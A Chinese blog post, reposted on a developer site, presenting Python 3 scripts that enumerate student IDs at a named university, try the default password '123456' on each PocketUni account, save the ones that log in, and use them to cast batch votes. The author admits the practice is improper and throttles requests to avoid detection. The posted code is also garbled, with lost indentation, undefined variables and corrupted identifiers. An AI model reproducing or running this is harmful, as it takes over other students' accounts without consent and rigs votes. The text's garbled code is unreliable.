热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

python3登录PU校园并批量投票

前言:因为班级参加学校一些活动在PU上举办,但是又不想接受这种推广,遂花几天用python3写了个自动投票,想学习的可以一起探讨下,但是这个代码恐怕不写python的人也用不了。。。写

前言:因为班级参加学校一些活动在PU上举办,但是又不想接受这种推广,遂花几天用python3写了个自动投票,想学习的可以一起探讨下,但是这个代码恐怕不写python的人也用不了。。。

写博客主要为了给自己做笔记,省得老忘记实现过程

准备工作:学校各学院的学号加初始密码,总有一些宝宝用初始密码,而学号直接推倒就可得出。

要实现的东西:1、实现自动登录,从大量学号中跑出可登录的学号(使用初始密码的用户)并保存留用;2、利用这些学号根据投票活动选择出要投票的学院的PID;3、模仿JS点击事件投票。


鉴于这也不算很正当行为,防止给PU服务器造成负担,爬虫每天尽量慢尽量少的访问PU服务器。。。也是防止被人发现刷票


批量生成学号:

    # huoqunumber.py 用于创建number初始列表 
# 保存在startnumber.txt里面

import os

fileObject = open("startnumber.txt", "a")
numberIn = [15040100, 15040200, 15040500, 15040700, 15040900, 15040300, 15040400, 15040600, 15040800]
for i in range(0, 1):
for x in range(1,39):
numberIn[i] = numberIn[i] + 1
numberOut = "B" + str(numberIn4[i])
fileObject.write(numberOut)
# fileObject.write("\n")

fileObject.close()

这部分主要就是I/O流的操作,number数组存放各学院班级的第一个学号,依次生成整个院的学号并保存待用。


爬虫尝试登陆PU并保存可以登录的账号:

    #numbersaved.py 用于获取可登录number列表
# 保存在numberSaved.txt

import requests
import urllib.request
import re
import configparser
from pprint import pprint
from bs4 import BeautifulSoup

# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'} # 浏览器头
headers = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'} #手机headers

# 拿到不断更新的hash
def getHash():
firstURL = "http://pocketuni.net/njupt/login/"
request = urllib.request.Request(firstURL, headers=headers)
respOnse= urllib.request.urlopen(request)
cOntent= response.read()
pattern = re.compile(r'name=\"__hash__\" value=\"(.*?)\"', re.S)
__hash__ = pattern.findall(str(content, encoding = "utf-8"))

return __hash__[0]

# 登录并返回COOKIELen
def create_session(loginURL, data):

session = requests.session()
login = session.post(loginURL, loginData, headers=headers)
COOKIEsLen = len(login.COOKIEs)
print(login.COOKIEs)
return session, COOKIEsLen

if __name__ == '__main__':
count = 0 # 统计拿到多少可用账号
loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt"
file_object = open('B140413.txt', 'r')
file_number = open("B140413login.txt", "a")
file_nOnumber= open("B140413nologin.txt", "a")
school = "南京邮电大学"
sid = "592"
password = "123456"
login = "登 录"
while True: # 按字节读文件
try:
number = file_object.read(9)
print(type(number))
__hash__ = getHash()
loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}
session,COOKIEsLen = create_session(loginUrl, loginData)
print(COOKIEsLen)
if COOKIEsLen == 0: # 通过判断COOKIELen得知是否登录成功
print(COOKIEsLen)
file_number.write(number + "\n")
count += 1

except Exception as e:
print(e)
if not number:
break
file_object.close()
file_number.close()
print("登录了" + str(count) + "个number!")

登录部分主要是从上一步骤中拿到的文件中按字符读取学号,并带上浏览器的头headers向form表单post登录所需信息

loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}

难点一:其中hash是为了防止恶意爬取做的随机数,每次刷新网页就会更新,所以首先要解决的就是动态获取hash的值,方法:
拿到登录页面的html并正则匹配出hash的值并返回,这个时候要注意的就是拿到的html是字节流,也就是所谓的乱码,我们要进行转换成str,然后才可以进行匹配,如果这里有疑惑可以查看此处:python3 decode与encode

http://www.cnblogs.com/tingyugetc/p/5727383.html

    pattern = re.compile(r'name=\"__hash__\" value=\"(.*?)\"', re.S)
__hash__ = pattern.findall(str(content, encoding = "utf-8"))

难点二:如何判断是否登录成功。最开始我以为只要拿到状态码200即是登录成功,其实只要对方服务器进行回应那就是200了,所以这个方法显然不能证明成功登陆了,后来发现登录成功与否拿到的COOKIE的长度是不一样的,当COOKIELen=0的时候是成功登陆否则是不成功。

登录:


session = requests.session()
login = session.post(loginURL, loginData, headers=headers)

获取COOKIELen:


COOKIEsLen
= len(login.COOKIEs)

判断一下COOKIELen,若为0则证明可以登录保存下来。


接下来是模仿JS发送投票请求(PU要求没人投满六个才算数)

    # pachong.py

import requests
import urllib.request
import re
import configparser
from pprint import pprint
from bs4 import BeautifulSoup

# headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.12 Safari/535.11'}
headers = {'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/535.11 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/535.11'}

def getHash():
firstURL = "http://pocketuni.net/njupt/login/"
request = urllib.request.Request(firstURL, headers=headers)
respOnse= urllib.request.urlopen(request)
cOntent= response.read()
pattern = re.compile(r'name=\"__hash__\" value=\"(.*?)\"', re.S)
__hash__ = pattern.findall(str(content, encoding = "utf-8"))
return __hash__[0]

def create_session(loginURL, data):

session = requests.session()
login = session.post(loginURL, loginData, headers=headers)
print(login.COOKIEs)
return session
# 投票函数
def toupiao(toupiaoUrl, session, toupiaoData):
login = session.post(toupiaoUrl, toupiaoData, headers = headers)
return login.COOKIEs

if __name__ == '__main__':
count = 0
loginUrl = "http://pocketuni.net/index.php?app=home&mod=Public&act=doLogin&school=njupt"
file_object = open('numbersaved.txt', 'rb')
school = "南京**大学"
sid = "***"
password = "******"
login = "登 录"

toupiaoUrl = "http://njupt.pocketuni.net/index.php?app=event&mod=Front&act=vote"
pids = ["98359", "99982", "99957", "99420", "93253", "98681"]

while True:
try:
number = file_object.read(9)
__hash__ = getHash()
loginData = {'school':school, 'sid':sid, 'number':number, 'password':password, 'login':login, '__hash__':__hash__[0]}
session = create_session(loginUrl, loginData)
for pid in pids:
toupiaoData = {'id':idd, 'pid':pid}
toupiao(toupiaoUrl, session, toupiaoData)

except Exception as e:
print(e)
count+=1
if not number:
break
file_object.close()
print("投票数:" + str(count))

此处发送登录请求与huoqunumber.py是相同的,此处读取的账号列表是huoqunumber.py得到的可登录列表。

向toupiaourl页面的form表单带headers发送数据:

 login = session.post(toupiaoUrl, toupiaoData, headers = headers)

因为要投票满6个院,所以遍历pid,此处的pid则是学院的唯一标识,一定要找到自己的学院并右键检查拿到pid放入列表中!

    for pid in pids:
toupiaoData = {'id':idd, 'pid':pid}
toupiao(toupiaoUrl, session, toupiaoData)

重要的三个py文件已经贴出,使用顺序:

huoqunumber.py --> numbersaved.py --> pachong.py

huoqunumber.py得到的初始化学号,numbersaved.py利用其得到可以登录的学号(即初始化密码没有修改的同学),pachong.py利用numbersaved.py拿到的可登录账号登陆并进行投票。


结语:当时三天的纠结忘记的差不多了,就记得几个重要的点,代码也是随时想到哪里写到哪里凌乱的不行。。。


推荐阅读
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • Python瓦片图下载、合并、绘图、标记的代码示例
    本文提供了Python瓦片图下载、合并、绘图、标记的代码示例,包括下载代码、多线程下载、图像处理等功能。通过参考geoserver,使用PIL、cv2、numpy、gdal、osr等库实现了瓦片图的下载、合并、绘图和标记功能。代码示例详细介绍了各个功能的实现方法,供读者参考使用。 ... [详细]
  • 本文介绍了django中视图函数的使用方法,包括如何接收Web请求并返回Web响应,以及如何处理GET请求和POST请求。同时还介绍了urls.py和views.py文件的配置方式。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • 本文讨论了如何优化解决hdu 1003 java题目的动态规划方法,通过分析加法规则和最大和的性质,提出了一种优化的思路。具体方法是,当从1加到n为负时,即sum(1,n)sum(n,s),可以继续加法计算。同时,还考虑了两种特殊情况:都是负数的情况和有0的情况。最后,通过使用Scanner类来获取输入数据。 ... [详细]
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • 使用Ubuntu中的Python获取浏览器历史记录原文: ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • web.py开发web 第八章 Formalchemy 服务端验证方法
    本文介绍了在web.py开发中使用Formalchemy进行服务端表单数据验证的方法。以User表单为例,详细说明了对各字段的验证要求,包括必填、长度限制、唯一性等。同时介绍了如何自定义验证方法来实现验证唯一性和两个密码是否相等的功能。该文提供了相关代码示例。 ... [详细]
  • 在编写业务代码时,常常会遇到复杂的业务逻辑导致代码冗长混乱的情况。为了解决这个问题,可以利用中间件模式来简化代码逻辑。中间件模式可以帮助我们更好地设计架构和代码,提高代码质量。本文介绍了中间件模式的基本概念和用法。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
author-avatar
wendy-kiki8
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有